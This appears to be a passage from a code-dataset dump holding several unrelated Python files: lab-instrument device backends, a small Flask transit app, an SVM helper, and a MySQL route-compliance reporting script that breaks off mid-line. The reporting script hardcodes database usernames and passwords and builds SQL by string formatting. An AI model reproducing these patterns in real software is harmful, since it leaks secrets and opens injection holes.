value):\n \"\"\" Send a formatted command string to implement state control.\n \"\"\"\n self.write(f'{trait.command} {value} ')\n\n def read(self, convert_func=None):\n \"\"\" Receive from the rx socket until `self.settings.rx_buffer_size` samples\n are received or timeout happens after `self.timeout` seconds.\n\n Optionally, apply the conversion function to the value after\n it is received.\n \"\"\"\n rx, addr = self.backend['rx'].recvfrom(self.settings.rx_buffer_size)\n if addr is None:\n raise Exception('received no data')\n rx_disp = rx[:min(80, len(rx))] + ('...' if len(rx) > 80 else '')\n self.logger.debug(f'read {repr(rx_disp)}')\n\n key, value = rx.rsplit(' ', 1)\n key = key.split(':', 1)[1].lstrip()\n if convert_func is not None:\n value = convert_func(value)\n return {key: value}\n\n def clear(self):\n \"\"\" Clear any data present in the read socket buffer.\n \"\"\"\n while True:\n inputready, o, e = select.select([self.backend['rx']], [], [], 0.0)\n if len(inputready) == 0:\n break\n for s in inputready:\n try:\n s.recv(1)\n except BaseException:\n continue\n\n\nclass SerialDevice(core.Device):\n \"\"\" A general base class for communication with serial devices.\n Unlike (for example) VISA instruments, there is no\n standardized command format like SCPI. The implementation is\n therefore limited to connect and disconnect, which open\n or close a pyserial connection object: the `link` attribute.\n Subclasses can read or write with the link attribute like they\n would any other serial instance.\n\n A SerialDevice resource string is the same as the\n platform-dependent `port` argument to new serial.Serial\n objects.\n\n Subclassed devices that need state descriptors will need\n to implement state_get and state_set methods in order to define\n how the state descriptors set and get operations.\n \"\"\"\n\n class settings(core.Device.settings):\n # Connection settings\n timeout = core.Float(2, min=0, is_metadata=True,\n help='Max time to wait for a connection before raising TimeoutError.')\n write_termination = core.Bytes('\\n', is_metadata=True,\n help='Termination character to send after a write.')\n baud_rate = core.Int(9600, min=1, is_metadata=True,\n help='Data rate of the physical serial connection.')\n parity = core.Bytes('N', is_metadata=True,\n help='Parity in the physical serial connection.')\n stopbits = core.Float(1, min=1, max=2, step=0.5, is_metadata=True,\n help='Number of stop bits, one of `[1., 1.5, or 2.]`.')\n xonxoff = core.Bool(False, is_metadata=True,\n help='Set `True` to enable software flow control.')\n rtscts = core.Bool(False, is_metadata=True,\n help='Whether to enable hardware (RTS/CTS) flow control.')\n dsrdtr = core.Bool(False, is_metadata=True,\n help='Whether to enable hardware (DSR/DTR) flow control.')\n\n def __imports__(self):\n global serial\n import serial\n\n # Overload methods as needed to implement the Device object protocol\n def connect(self):\n \"\"\" Connect to the serial device with the VISA resource string defined\n in self.settings.resource\n \"\"\"\n keys = 'timeout', 'parity', 'stopbits',\\\n 'xonxoff', 'rtscts', 'dsrdtr'\n params = dict([(k, getattr(self.state, k)) for k in keys])\n self.backend = serial.Serial(\n self.settings.resource, self.baud_rate, **params)\n self.logger.debug(f'{repr(self)} connected')\n\n def disconnect(self):\n \"\"\" Disconnect the serial instrument\n \"\"\"\n self.backend.close()\n self.logger.debug(f'{repr(self)} disconnected')\n\n @classmethod\n def from_hwid(cls, hwid=None, *args, **connection_params):\n \"\"\" Instantiate a new SerialDevice from a `hwid' resource instead\n of a comport resource. A hwid string in windows might look something\n like:\n\n r'PCI\\\\VEN_8086&DEV_9D3D&SUBSYS_06DC1028&REV_21\\\\3&11583659&1&B3'\n \"\"\"\n\n usb_map = cls._map_serial_hwid_to_port()\n if hwid not in usb_map:\n raise Exception(f'Cannot find serial port with hwid {repr(hwid)}')\n return cls(usb_map[hwid], *args, **connection_params)\n\n @staticmethod\n def list_ports(hwid=None):\n \"\"\" List USB serial devices on the computer\n\n :return: list of port resource information\n \"\"\"\n from serial.tools import list_ports\n\n ports = [(port.device, {'hwid': port.hwid, 'description': port.description})\n for port in list_ports.comports()]\n ports = OrderedDict(ports)\n\n if hwid is not None:\n ports = [(port, meta) for port, meta in list(\n ports.items()) if meta['id'] == hwid]\n\n return dict(ports)\n\n @staticmethod\n def _map_serial_hwid_to_label():\n \"\"\" Map of the comports and their names.\n\n :return: mapping {: }\n \"\"\"\n from serial.tools import list_ports\n\n return OrderedDict([(port[2], port[1])\n for port in list_ports.comports()])\n\n @staticmethod\n def _map_serial_hwid_to_port():\n \"\"\" Map of the comports and their names.\n\n :return: mapping {: }\n \"\"\"\n from serial.tools import list_ports\n\n return OrderedDict([(port[2], port[0])\n for port in list_ports.comports()])\n\n\nclass SerialLoggingDevice(SerialDevice):\n \"\"\" Manage connection, acquisition, and data retreival on a single GPS device.\n The goal is to make GPS devices controllable somewhat like instruments:\n maintaining their own threads, and blocking during setup or stop\n command execution.\n\n Listener objects must implement an attach method with one argument\n consisting of the queue that the device manager uses to push data\n from the serial port.\n \"\"\"\n\n class settings(SerialDevice.settings):\n poll_rate = core.Float(0.1, min=0, is_metadata=True,\n help='Data retreival rate from the device (in seconds)')\n data_format = core.Bytes('', is_metadata=True,\n help='Data format metadata')\n stop_timeout = core.Float(0.5, min=0, is_metadata=True,\n help='Delay after a call to `stop` before terminating the runloop thread')\n max_queue_size = core.Int(100000, min=1, is_metadata=True,\n help='Number of bytes to allocate in the data retreival buffer')\n\n def configure(self):\n \"\"\" This is called at the beginning of the logging thread that runs\n on a call to `start`.\n\n This is a stub that does nothing --- it should be implemented by a\n subclass for a specific serial logger device.\n \"\"\"\n self.logger.debug(\n f'{repr(self)}: no device-specific configuration implemented')\n\n def start(self):\n \"\"\" Start a background thread that acquires log data into a queue.\n\n :returns: None\n \"\"\"\n from serial import SerialException\n\n def accumulate():\n timeout, self.backend.timeout = self.backend.timeout, 0\n q = self._queue\n stop_event = self._stop\n self.logger.debug(f'{repr(self)}: configuring log acquisition')\n self.configure()\n self.logger.debug(f'{repr(self)}: starting log acquisition')\n try:\n while stop_event.wait(self.settings.poll_rate) is not True:\n q.put(self.backend.read(\n 10 * self.settings.baud_rate * self.settings.poll_rate))\n except SerialException as e:\n self._stop.set()\n self.disconnect()\n raise e\n finally:\n self.logger.debug(f'{repr(self)} ending log acquisition')\n try:\n self.backend.timeout = timeout\n except BaseException:\n pass\n\n if self.running():\n raise Exception('already running')\n\n self._queue = Queue()\n self._stop = Event()\n Thread(target=accumulate).start()\n\n def stop(self):\n \"\"\" Stops the logger acquisition if it is running. Returns silently otherwise.\n\n :returns: None\n \"\"\"\n try:\n self._stop.set()\n except BaseException:\n pass\n\n def running(self):\n \"\"\" Check whether the logger is running.\n\n :returns: `True` if the logger is running\n \"\"\"\n return hasattr(self, '_stop') and not self._stop.is_set()\n\n def fetch(self):\n \"\"\" Retrieve and return any log data in the buffer.\n\n :returns: any bytes in the buffer\n \"\"\"\n ret = b''\n try:\n while True:\n ret += self._queue.get_nowait()\n except Empty:\n pass\n return ret\n\n def clear(self):\n \"\"\" Throw away any log data in the buffer.\n \"\"\"\n self.fetch()\n\n def disconnect(self):\n self.stop()\n\n\nclass TelnetDevice(core.Device):\n \"\"\" A general base class for communication devices via telnet.\n Unlike (for example) VISA instruments, there is no\n standardized command format like SCPI. The implementation is\n therefore limited to connect and disconnect, which open\n or close a pyserial connection object: the `backend` attribute.\n Subclasses can read or write with the backend attribute like they\n would any other telnetlib instance.\n\n A TelnetDevice `resource` string is an IP address. The port is specified\n by `port`. These can be set when you instantiate the TelnetDevice\n or by setting them afterward in `settings`.\n\n Subclassed devices that need state descriptors will need\n to implement __get_state__ and __set_state__ methods to implement\n the state set and get operations (as appropriate).\n \"\"\"\n\n class settings(core.Device.settings):\n # Connection settings\n timeout = core.Float(2, min=0, is_metadata=True,\n help='maximum time to wait for a connection before ')\n port = core.Int(23, min=1, is_metadata=True)\n\n def __imports__(self):\n global Telnet\n from telnetlib import Telnet\n\n def connect(self):\n \"\"\" Make the telnet connection to the host defined\n by the string in self.settings.resource\n \"\"\"\n self.backend = Telnet(self.settings.resource, port=self.settings.port,\n timeout=self.settings.timeout)\n\n def disconnect(self):\n \"\"\" Disconnect the telnet connection\n \"\"\"\n self.backend.close()\n\n\nclass VISADevice(core.Device):\n r\"\"\" .. class:: VISADevice(resource, read_termination='\\\\n', write_termination='\\\\n')\n\n VISADevice instances control VISA instruments using a\n pyvisa backend. Compared to direct use of pyvisa, this\n style of use permits use of labbench device `state`\n goodies for compact, readable code, as well as type checking.\n\n For example, the following fetches the\n identity string from the remote instrument::\n\n with VISADevice('USB0::0x2A8D::0x1E01::SG56360004::INSTR') as instr:\n print(inst.state.identity)\n\n This is equivalent to the more pyvisa-style use as follows::\n\n inst = VISADevice('USB0::0x2A8D::0x1E01::SG56360004::INSTR')\n inst.connect()\n print(inst.query('*IDN?'))\n\n Use of `inst.state` makes it possible to add callbacks to support\n automatic state logging, or to build a UI.\n \"\"\"\n\n class state(core.Device.state):\n identity = core.Unicode(read_only=True, command='*IDN', cache=True, is_metadata=True,\n help='identity string reported by the instrument')\n options = core.Unicode(read_only=True, command='*OPT', cache=True, is_metadata=True,\n help='options reported by the instrument')\n status_byte = core.Dict(read_only=True, command='*STB',\n help='VISA status byte reported by the instrument')\n\n class settings(core.Device.settings):\n read_termination = core.Unicode('\\n', read_only='connected',\n help='termination character to indicate end of message on receive from the instrument')\n write_termination = core.Unicode('\\n', read_only='connected',\n help='termination character to indicate end of message in messages sent to the instrument')\n\n __opc = False # Whether or not to append ;*OPC to each call to write()\n _rm = None\n\n @classmethod\n def __imports__(cls):\n global pyvisa\n import pyvisa\n import pyvisa.constants\n if cls._rm is None:\n cls.set_backend('@ni')\n\n def __release_remote_control(self):\n # Found this in a mixture of R&S documentation and goofle-fu on pyvisa\n self.backend.visalib.viGpibControlREN(self.backend.session,\n pyvisa.constants.VI_GPIB_REN_ADDRESS_GTL)\n\n # Overload methods as needed to implement RemoteDevice\n def connect(self):\n \"\"\" Connect to the VISA instrument defined by the VISA resource\n set by `self.settings.resource`. The pyvisa backend object is assigned\n to `self.backend`.\n\n :returns: None\n\n Instead of calling `connect` directly, consider using\n `with` statements to guarantee proper disconnection\n if there is an error. For example, the following\n sets up a connected instance::\n\n with VISADevice('USB0::0x2A8D::0x1E01::SG56360004::INSTR') as inst:\n print(inst.state.identity)\n print(inst.state.status_byte)\n print(inst.state.options)\n\n would instantiate a `VISADevice` and guarantee\n it is disconnected either at the successful completion\n of the `with` block, or if there is any exception.\n \"\"\"\n # The resource manager is \"global\" at the class level here\n try:\n if VISADevice._rm is None:\n VISADevice._rm = pyvisa.ResourceManager('@ni')\n except OSError as e:\n e.args = e.args + \\\n (\n 'labbench VISA support requires NI VISA; is it installed?\\nhttp://download.ni.com/support/softlib/visa/NI-VISA/16.0/Windows/NIVISA1600runtime.exe',)\n raise e\n\n self.backend = VISADevice._rm.open_resource(self.settings.resource,\n read_termination=self.settings.read_termination,\n write_termination=self.settings.write_termination)\n\n def disconnect(self):\n \"\"\" Disconnect the VISA instrument. If you use a `with` block\n this is handled automatically and you do not need to\n call this method.\n\n :returns: None\n \"\"\"\n try:\n with contextlib.suppress(pyvisa.errors.VisaIOError):\n self.__release_remote_control()\n with contextlib.suppress(pyvisa.Error):\n self.backend.clear()\n except BaseException as e:\n self.logger.warning('unhandled disconnect error: ' + str(e))\n finally:\n self.backend.close()\n\n @classmethod\n def set_backend(cls, backend_name):\n \"\"\" Set the pyvisa resource manager for all VISA objects.\n\n :param backend_name str: '@ni' (the default) or '@py'\n :returns: None\n \"\"\"\n VISADevice._rm = pyvisa.ResourceManager(backend_name)\n\n @classmethod\n def list_resources(cls):\n \"\"\" List the resource strings of the available devices sensed by the VISA backend.\n \"\"\"\n cls.__imports__()\n return cls._rm.list_resources()\n\n def write(self, msg):\n \"\"\" Write an SCPI command to the device with pyvisa.\n\n Handles debug logging and adjustments when in overlap_and_block\n contexts as appropriate.\n\n :param str msg: the SCPI command to send by VISA\n :returns: None\n \"\"\"\n if self.__opc:\n msg = msg + ';*OPC'\n msg_out = repr(msg) if len(msg) < 1024 else f'({len(msg)} bytes)'\n self.logger.debug(f'write {repr(msg_out)}')\n self.backend.write(msg)\n\n def query(self, msg, timeout=None):\n \"\"\" Query an SCPI command to the device with pyvisa,\n and return a string containing the device response.\n\n Handles debug logging and adjustments when in overlap_and_block\n contexts as appropriate.\n\n :param str msg: the SCPI command to send by VISA\n :returns: the response to the query from the device\n \"\"\"\n if timeout is not None:\n _to, self.backend.timeout = self.backend.timeout, timeout\n msg_out = repr(msg) if len(msg) < 80 else f'({len(msg)} bytes)'\n self.logger.debug(f'query {repr(msg_out)}')\n try:\n ret = self.backend.query(msg)\n finally:\n if timeout is not None:\n self.backend.timeout = _to\n msg_out = repr(ret) if len(ret) < 80 else f'({len(msg)} bytes)'\n self.logger.debug(f' -> {msg_out}')\n return ret\n\n def __get_state__(self, trait):\n \"\"\" Send an SCPI command to get a state value from the\n device. This function\n adds a '?' to match SCPI convention. This is\n automatically called for `state` attributes that\n define a message.\n\n :param str command: The SCPI command to send\n :param trait: The trait state corresponding with the command (ignored)\n \"\"\"\n return self.query(trait.command + '?').rstrip()\n\n def __set_state__(self, trait, value):\n \"\"\" Send an SCPI command to set a state value on the\n device. This function adds a '?' to match SCPI convention. This is\n automatically called for `state` attributes that\n define a message.\n\n :param str command: The SCPI command to send\n :param trait: The trait state corresponding with the command (ignored)\n :param str value: The value to assign to the parameter\n \"\"\"\n self.write(trait.command + ' ' + str(value))\n\n def wait(self):\n \"\"\" Convenience function to send standard SCPI '\\\\*WAI'\n \"\"\"\n self.write('*WAI')\n\n def preset(self):\n \"\"\" Convenience function to send standard SCPI '\\\\*RST'\n \"\"\"\n self.write('*RST')\n\n @contextlib.contextmanager\n def overlap_and_block(self, timeout=None, quiet=False):\n \"\"\" A request is sent to the instrument to overlap all of the\n VISA commands written while in this context. At the end\n of the block, wait until the instrument confirms that all\n operations have finished. This is the standard VISA ';\\\\*OPC'\n and '\\\\*OPC?' behavior.\n\n This is meant to be used in `with` blocks as follows::\n\n with inst.overlap_and_block():\n inst.write('long running command 1')\n inst.write('long running command 2')\n\n The wait happens on leaving the `with` block.\n\n :param timeout: delay (in milliseconds) on waiting for the instrument to finish the overlapped commands before a TimeoutError after leaving the `with` block. If `None`, use self.backend.timeout.\n :param quiet: Suppress timeout exceptions if this evaluates as True\n \"\"\"\n self.__opc = True\n yield\n self.__opc = False\n self.query('*OPC?', timeout=timeout)\n\n class suppress_timeout(contextlib.suppress):\n \"\"\" Context manager to suppress timeout exceptions.\n \n Example::\n \n with inst.suppress_timeout():\n inst.write('long running command 1')\n inst.write('long running command 2')\n\n If the command 1 raises an exception, then command 2 will (silently)\n not execute.\n\n \"\"\"\n\n def __exit__(self, exctype, excinst, exctb):\n return exctype == pyvisa.errors.VisaIOError \\\n and excinst.error_code == pyvisa.errors.StatusCode.error_timeout\n\n @state.status_byte.getter\n def _(self):\n code = int(self.query('*STB?'))\n return {'error queue not empty': bool(code & 0b00000100),\n 'questionable state': bool(code & 0b00001000),\n 'message available': bool(code & 0b00010000),\n 'event status flag': bool(code & 0b00100000),\n 'service request': bool(code & 0b01000000),\n 'master status summary': bool(code & 0b01000000),\n 'operating': bool(code & 0b10000000),\n }\n\n\nclass EmulatedVISADevice(core.Device):\n \"\"\" Act as a VISA device without dispatching any visa commands\n \"\"\"\n\n generators = {core.Bool: lambda trait: str(np.random.choice(trait._trues + trait._falses)),\n core.Bytes: lambda trait: 'text',\n core.Float: lambda trait: str(np.random.uniform(low=trait.min, high=trait.max)), }\n\n class state(VISADevice.state):\n pass\n\n class settings(VISADevice.settings):\n pass\n\n\n # # # Spoof the remote responses for some built-in VISA items\n # status_byte = core.Unicode(default_value='0', read_only=True)\n # identity = core.Unicode(\n # default_value='Emulated VISA Device', read_only=True, is_metadata=True)\n # options = core.Unicode(\n # default_value='Terrific Options', read_only=True, is_metadata=True)\n\n # Overload methods as needed to implement RemoteDevice\n @classmethod\n def set_backend(cls, backend_name):\n \"\"\" backend_name can be 'py' or 'ni'\n \"\"\"\n pass\n\n def connect(self):\n self.backend = self.generators\n\n def disconnect(self):\n pass\n\n def __get_state__(self, trait):\n ret = self.generators[type(trait)](trait)\n self.backend[trait] = ret\n return ret\n\n def __set_state__(self, trait, value):\n self.backend[trait] = value\n\n\nclass Win32ComDevice(core.Device):\n \"\"\" Basic support for calling win32 COM APIs.\n\n The python wrappers for COM drivers still basically require that\n threading is performed using the windows COM API, and not the python\n threading. Figuring this out with win32com calls within python is\n not for the faint of heart. Threading support is instead realized\n with util.ThreadSandbox, which ensures that all calls to the dispatched\n COM object block until the previous calls are completed from within\n a background thread. Set concurrency_support=True to decide whether\n this thread support wrapper is applied to the dispatched Win32Com object.\n \"\"\"\n\n class settings(core.Device.settings):\n com_object = core.Unicode('', is_metadata=True,\n help='the win32com object string') # Must be a module\n concurrency_support = core.Bool(default_value=True, read_only=False, is_metadata=True,\n help='whether this :class:`Device` implementation supports threading')\n\n def __imports__(self):\n global win32com\n import win32com\n import win32com.client\n\n def connect(self):\n \"\"\" Connect to the win32 com object\n \"\"\"\n\n def should_sandbox(obj):\n try:\n name = win32com.__name__\n return inspect.getmodule(obj).__name__.startswith(name)\n except AttributeError:\n return False\n\n def factory():\n from pythoncom import CoInitialize\n CoInitialize()\n return win32com.client.Dispatch(self.settings.com_object)\n\n # Oddness for win32 threadsafety\n sys.coinit_flags = 0\n\n if self.settings.com_object == '':\n raise Exception('settings.com_object needs to be set')\n\n if self.settings.concurrency_support:\n self.backend = util.ThreadSandbox(factory, should_sandbox)\n else:\n self.backend = win32com.client.Dispatch(self.settings.com_object)\n\n def disconnect(self):\n pass\n","sub_path":"labbench/backends.py","file_name":"backends.py","file_ext":"py","file_size_in_byte":47142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"166457010","text":"\"\"\"\nSimple \"Hello, World\" application using Flask\n\"\"\"\n\nfrom flask import Flask\nfrom flask import request\nfrom flask import render_template\nfrom mbta_helper import find_stop_near\n\napp = Flask(__name__)\n\n\n@app.route('/', methods=['GET', 'POST'])\n\ndef hello():\n if request.method == 'POST':\n place_name = request.form['place_name']\n route_type = request.form['route_type']\n try:\n station_name, wheelchair_accessibility = find_stop_near(place_name, route_type)\n return render_template(\"mbta_station.html\", station_name=station_name, wheelchair_accessibility=wheelchair_accessibility)\n except:\n return render_template('mbta_error.html')\n return render_template('index.html')\n\n\n\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"18131826","text":"import matplotlib.pyplot as plt\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.svm import SVC\n\n\n# Function that create and test model and then return the model fit to whole dataset\n\ndef svc_linear(X_train, X_test, y_train, y_test):\n # c_values = [i / 5 for i in range(1, 501, 5)]\n #\n # acc_values = [0.0] * len(c_values)\n #\n # types = {'linear', 'sigmoid', 'rbf', 'poly'}\n # for tpe in types:\n # for i in range(len(acc_values)):\n # acc_values[i] = training(X_train, X_test, y_train, y_test, tpe, c_values[i])\n # plt.plot(c_values, acc_values)\n # plt.title(label=tpe)\n # plt.show()\n\n svc = SVC(kernel='linear')\n svc.fit(X_train, y_train)\n y_pred = svc.predict(X_test)\n accuracy = accuracy_score(y_test, y_pred)\n return svc, accuracy\n\n\n# Testing which kernel is the best\n\ndef training(X_train, X_test, y_train, y_test, function_type, c_number):\n svm = SVC(kernel=function_type, C=c_number)\n svm.fit(X_train, y_train)\n\n predictions = svm.predict(X_test)\n\n return accuracy_score(y_test, predictions)\n","sub_path":"src/models/model_SVC.py","file_name":"model_SVC.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"195341623","text":"########### route\n\nimport urllib\nimport datetime\nimport re\nimport numpy as np\nimport statistics\nimport sys\nfrom datetime import datetime, timedelta\nimport calendar\nimport pymysql\n# import psycopg2\n\n# db2 = psycopg2.connect(host=\"localhost\",database=\"darepslive\", user=\"postgres\", password=\"Vh8Z6jjC757U72k9\" ,sslmode='require')\ndbGlobal = pymysql.connect(host=\"localhost\", user=\"erfectsto27\",\n passwd=\"ser27bert27\", db=\"unilever_erfectstore_27\")\n# dbColombia = pymysql.connect(host=\"localhost\", user=\"mercadeo11\", passwd=\"merca89uni\", db=\"unilever_erfectstore\")\ncur = dbGlobal.cursor()\n\ntoday = datetime.now()\nif today.month < 10:\n month = \"0%s\" % (today.month)\n year = \"%s\" % (today.year)\n day = \"%s\" % (today.day)\nelse:\n month = \"%s\" % (today.month)\n year = \"%s\" % (today.year)\n day = \"%s\" % (today.day)\n\n# month = '09'\n# year = '2018'\n# day = '18'\nif day == '1':\n if month == '01':\n month = '12'\n year1 = int(year) - 1\n\n if year1:\n year = \"%s\" % (year1)\n else:\n month1 = int(month) - 1\n if month1 < 10:\n month = \"0%s\" % (month1)\n else:\n month = \"%s\" % (month1)\n\n cursor = dbGlobal.cursor()\n cursor.execute(\n \"DELETE FROM `routescompliance_cam_data` WHERE mes = {0} and `annio` = {1} \".format(month, year))\n dbGlobal.commit()\n cursor.execute(\n \"DELETE FROM `routescompliance_reason_cam_data` WHERE mes = {0} and `annio` = {1} \".format(month, year))\n dbGlobal.commit()\n cursor.execute(\n \"DELETE FROM `routescompliance_detail_cam_data` WHERE mes = {0} and `annio` = {1} \".format(month, year))\n dbGlobal.commit()\n print('eliminando registros del mes ', month, ' annio ', year)\n\n\nelse:\n cursor = dbGlobal.cursor()\n cursor.execute(\n \"DELETE FROM `routescompliance_cam_data` WHERE mes = {0} and `annio` = {1} \".format(month, year))\n dbGlobal.commit()\n cursor.execute(\n \"DELETE FROM `routescompliance_reason_cam_data` WHERE mes = {0} and `annio` = {1} \".format(month, year))\n dbGlobal.commit()\n cursor.execute(\n \"DELETE FROM `routescompliance_detail_cam_data` WHERE mes = {0} and `annio` = {1} \".format(month, year))\n dbGlobal.commit()\n print('eliminando registros del mes ', month, ' annio ', year)\n\nprint('ingresando registros del mes ', month, ' annio ', year)\ncursor = dbGlobal.cursor()\nsql = \"\"\"SELECT userid, username, gln, salespoint, channel, district, reason, reasondescription, visitdate, visittime, format, chargedate, chargetime, device, consulttype, visityear, visitmonth, MONTH(chargedate) as mes, YEAR(chargedate) as annio, country FROM `tbls_routescompliancereportdata` where consulttype = 1 and month(chargedate) = {0} and year(chargedate) = {1} AND country not in ('ECUADOR','COLOMBIA') AND chargedate = (SELECT MAX(chargedate) FROM `tbls_routescompliancereportdata` where consulttype = 1 and month(chargedate) = {0} and year(chargedate) = 2018 AND country not in ('ECUADOR','COLOMBIA') ) AND MONTH(visitbyrutero) = {0}\n group by userid ,format \"\"\".format(month, year)\nprint(sql)\ncursor.execute(sql)\nrow = cursor.fetchone()\n\nresponse = []\nwhile row is not None:\n response.append({\n 'userid': row[0],\n 'username': row[1],\n 'gln': row[2],\n 'salespoint': row[3],\n 'channel': row[4],\n 'district': row[5],\n 'reason': row[6],\n 'reasondescription': row[7],\n 'visitdate': row[8],\n 'visittime': row[9],\n 'format': row[10],\n 'chargedate': row[11],\n 'chargetime': row[12],\n 'device': row[13],\n 'consulttype': row[14],\n 'visityear': row[15],\n 'visitmonth': row[16],\n 'mes': row[17],\n 'annio': row[18],\n 'country': row[19],\n\n })\n row = cursor.fetchone()\n\ncursor2 = dbGlobal.cursor()\ncursor2.execute(\n \"\"\"SELECT userid,format,country, count(username) as visitreals FROM `tbls_routescompliancereportdata` where consulttype = 1 and month(chargedate) = {0} and year(chargedate) = {1} AND country not in ('ECUADOR','COLOMBIA')and chargedate = (SELECT max(chargedate) FROM `tbls_routescompliancereportdata` where consulttype = 1 and month(chargedate) = {0} and year(chargedate) = {1} AND country not in ('ECUADOR','COLOMBIA')) AND MONTH(visitbyrutero) = {0} group by userid,format\"\"\".format(month, year))\nrow2 = cursor2.fetchone()\nresponse2 = []\nwhile row2 is not None:\n response2.append({\n 'userid': row2[0],\n 'format': row2[1],\n 'country': row2[2],\n 'visitreals': row2[3],\n\n })\n row2 = cursor2.fetchone()\n# 4 consulta\n\ncursor3 = dbGlobal.cursor()\ncursor3.execute(\n \"\"\"SELECT userid,count(userid) as visit,format,country FROM `tbls_routescompliancereportdata` where consulttype = 2 and month(visitdate) = {0} and year(visitdate) = {1} AND country not in ('ECUADOR','COLOMBIA') and chargedate = (SELECT max(chargedate) FROM `tbls_routescompliancereportdata` where consulttype = 2 and month(visitdate) = {0} and year(visitdate) = {1} AND country not in ('ECUADOR','COLOMBIA')) AND MONTH(visitbyrutero) = {0} group by userid,format\"\"\".format(month, year))\nrow3 = cursor3.fetchone()\nresponse3 = []\nwhile row3 is not None:\n response3.append({\n 'userid': row3[0],\n 'visit': row3[1],\n 'format': row3[2],\n 'country': row3[3],\n })\n row3 = cursor3.fetchone()\n\n# 5 consulta\n\ncursor4 = dbGlobal.cursor()\ncursor4.execute(\n \"\"\" SELECT * FROM `tbls_novisitsreason` where country not in ('ECUADOR','COLOMBIA') \"\"\")\nrow4 = cursor4.fetchone()\nresponse4 = []\nwhile row4 is not None:\n response4.append({\n 'id': row4[1],\n 'description': row4[2],\n 'active': row4[3],\n 'country': row4[4],\n\n })\n row4 = cursor4.fetchone()\n\n# 5 consulta\n\ncursor5 = dbGlobal.cursor()\ncursor5.execute(\n \"\"\"SELECT userid,reason,format,country FROM `tbls_routescompliancereportdata` where consulttype = 3 and month(visitdate) = {0} and year(visitdate) ={1} AND country not in ('ECUADOR','COLOMBIA') and chargedate = (SELECT max(chargedate) FROM `tbls_routescompliancereportdata` where consulttype = 3 and month(visitdate) = {0} and year(visitdate) ={1} AND country not in ('ECUADOR','COLOMBIA') ) AND MONTH(visitbyrutero) = {0}\"\"\".format(month, year))\nrow5 = cursor5.fetchone()\nresponse5 = []\nwhile row5 is not None:\n response5.append({\n 'userid': row5[0],\n 'reason': row5[1],\n 'format': row5[2],\n 'country': row5[3],\n })\n row5 = cursor5.fetchone()\n\n\n# ####################################################\n# # raoutescompliancedata\n# ####################################################\nnoAfectan = 0\nAfectan = 0\nfor data in response:\n for data2 in response2:\n # print(\" ok \")\n if data['userid'] == data2['userid'] and data['format'] == data2['format'] and data['country'] == data2['country']:\n noAfectan = 0\n Afectan = 0\n total = 0\n porcentaje = 0\n visit = ''\n\n for data3 in response3:\n\n print(\"hola\")\n if data['userid'] == data3['userid'] and data['format'] == data3['format'] and data['country'] == data3['country']:\n\n for data4 in response5:\n if data['userid'] == data4['userid'] and data['format'] == data4['format'] and data['country'] == data4['country']:\n for noVisita in response4:\n if data4['reason'] == noVisita['id'] and noVisita['country'] == data4['country']:\n if noVisita['active'] == 1:\n noAfectan += 1\n else:\n Afectan += 1\n\n subt = float(noAfectan) + float(data3['visit'])\n total = subt*100/float(data2['visitreals'])\n porcentaje = float(data3['visit']) * \\\n 100/float(data2['visitreals'])\n visit = data3['visit']\n # print(data['channel'],data['userid'],data['username'],data['district'],data2['visitreals'],data3['visit'],porcentaje,noAfectan,Afectan,total,data['mes'],data['annio'])\n print(\"INSERTANDO TABLA 1\")\n sql = \"INSERT INTO `routescompliance_cam_data` ( `canal`, `cedula`, `nombre`, `distrito`, `formato`,`ciudad` ,`vis_programadas`, `vis_reales`, `porc_cumple`, `novisita_afectan`, `novisita_no_afecta`, `porc_cumplimiento`, `mes`, `annio`) VALUES ('{0}','{1}','{2}','{3}','{4}','{5}',{6},'{7}',{8},{9},{10},{11},'{12}','{13}')\".format(\n data['channel'], data['userid'], data['username'], data['district'], data['format'], data['country'], data2['visitreals'], visit, porcentaje, noAfectan, Afectan, total, data['mes'], data['annio'])\n cur.execute(sql)\n dbGlobal.commit()\n noAfectan = 0\n Afectan = 0\n\n\n# ###################################################\n# # routescompliancereasondata\n# ###################################################\nprint(\"termina fase 1\")\ncursor6 = dbGlobal.cursor()\ncursor6.execute(\"\"\"SELECT id,\n canal,\n cedula,\n nombre,\n distrito,\n vis_programadas,\n vis_reales,\n porc_cumple,\n novisita_afectan,\n novisita_no_afecta,\n porc_cumplimiento,\n mes,\n annio,\n formato,\n ciudad\n FROM `routescompliance_cam_data` \"\"\")\nrow6 = cursor6.fetchone()\nresumen = []\nwhile row6 is not None:\n resumen.append({\n 'id': row6[0],\n 'canal': row6[1],\n 'userid': row6[2],\n 'nombre': row6[3],\n 'distrito': row6[4],\n 'vis_programadas': row6[5],\n 'visitas': row6[6],\n 'porc_cumple': row6[7],\n 'afectan': row6[8],\n 'noafectan': row6[9],\n 'porc_cumplimiento': row6[10],\n 'mes': row6[11],\n 'annio': row6[12],\n 'formato': row6[13],\n 'ciudad': row6[14],\n })\n row6 = cursor6.fetchone()\n\ncursor7 = dbGlobal.cursor()\ncursor7.execute(\n \"\"\"SELECT userid,username,reason,count(reason) as num_reason, MONTH(visitdate) as mes ,YEAR(visitdate) as annio,format,country FROM `tbls_routescompliancereportdata` where consulttype = 3 and month(visitdate) = {0} and year(visitdate) = {1} AND country not in ('ECUADOR','COLOMBIA') and chargedate = (SELECT max(chargedate) FROM `tbls_routescompliancereportdata` where consulttype = 3 and month(visitdate) = {0} and year(visitdate) = {1} AND country not in ('ECUADOR','COLOMBIA')) group by reason,userid,format ORDER BY `tbls_routescompliancereportdata`.`userid` ASC \"\"\".format(month, year))\nrow7 = cursor7.fetchone()\ncounter = []\nwhile row7 is not None:\n counter.append({\n 'userid': row7[0],\n 'username': row7[1],\n 'reason': row7[2],\n 'num_reason': row7[3],\n 'mes': row7[4],\n 'annio': row7[5],\n 'format': row7[6],\n 'ciudad': row7[7],\n })\n row7 = cursor7.fetchone()\n\n\nfor data in resumen:\n for counters in counter:\n if data['userid'] == counters['userid'] and data['mes'] == str(counters['mes']) and data['annio'] == str(counters['annio']) and data['formato'] == counters['format'] and data['ciudad'] == counters['ciudad']:\n print(\"paso\")\n for x in response4:\n if counters['reason'] == x['id'] and counters['ciudad'] == x['country']:\n if x['active'] == 0:\n print(\"INSERTANDO TABLA 